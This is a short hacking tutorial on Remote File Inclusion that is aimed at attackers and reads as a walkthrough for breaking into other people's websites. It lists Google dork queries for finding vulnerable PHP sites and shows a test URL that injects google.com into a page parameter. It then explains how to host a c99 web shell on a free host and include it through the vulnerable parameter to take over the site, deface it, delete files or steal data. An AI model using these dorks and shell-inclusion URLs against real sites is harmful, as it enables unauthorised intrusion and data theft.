RFI
Stands For Remote File Inclusionis. RFI is a type of vulnerability That is most
often found on websites. It allows a Hacker to include a remote file, usually
through a script on the web server. The vulnerability occurs due to the use of
user-supplied input without proper validation. This can lead to something as
minimal as outputting the contents of the file, but depending on the severity,
to list a few it can lead to:
1. Data Theft/Manipulation.
2. Code execution on the web server.
3. Denial
of Service (DoS).
4. Code execution on the client-side such as JavaScript which
can lead to other attacks such as cross site scripting (XSS).
Lets
Get Started
1st
Step : Lets Find a Vunerable websites using Google Dork
Some
dork for Searching a RFI Vulnerable website:
inurl:index.php?page=
its
Most Popular Dork of RFI hacking
inurl:/index.php/main.php?
inurl:*.php?pg=
inurl:/index.php?include=
inurl:/index.php?site=
inurl:index.php?link=
inurl:*.php?go=
inurl:*.php?load=
inurl:index.php?document=
inurl:/include/authform.inc.php?path_pre=
These
Dorks will show you all the pages which has any Of Them in their URL, Now to
test whether the website is vulnerable to Remote file Inclusion or
not. The hacker use the following command
www.targetsite.com/index.php?page=www.google.com
a
Simple Website http://www.mywebsite.com
If the
website has vunerability it will be like this http://www.mywebsite.com/v2/index.php?page=
So
after Typing www.google.com in the end of The url. Url will
become Like This
http://www.mywebsite.com/v2/index.php?page=http://www.google.com
If
after executing the command the homepage of the google shows up then then the
website is vulnerable to this attack if it does not come up then you should
look for a new target. In my case after executing the above command in the
address bar Google homepage shows up indicating that the website is vulnerable
to this attack.
Now the
hacker would upload the shells to gain access. The most common shells used are
c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from
the link below:
The
hacker would first upload the shells to a webhosting site such as viralhosts.com, 110mb.com or
another free hosts etc.
Now
here is how a hacker would execute the shells to gain access. Lets say that the
url of the shell is http://www.sh3ll.org/c99.txt?
Now
here is how a hacker would execute the following command to gain access
http://www.mywebsite.com/v2/index.php?page=http://www.sh3ll.org/c99.txt?
Don't
Forget To add “?” after .txt at the end of url or else the shell will not
execute. Now the hacker is inside the website and he could do anything with it.
He can now deface website, Delete files from the website or downlaod all the
data.
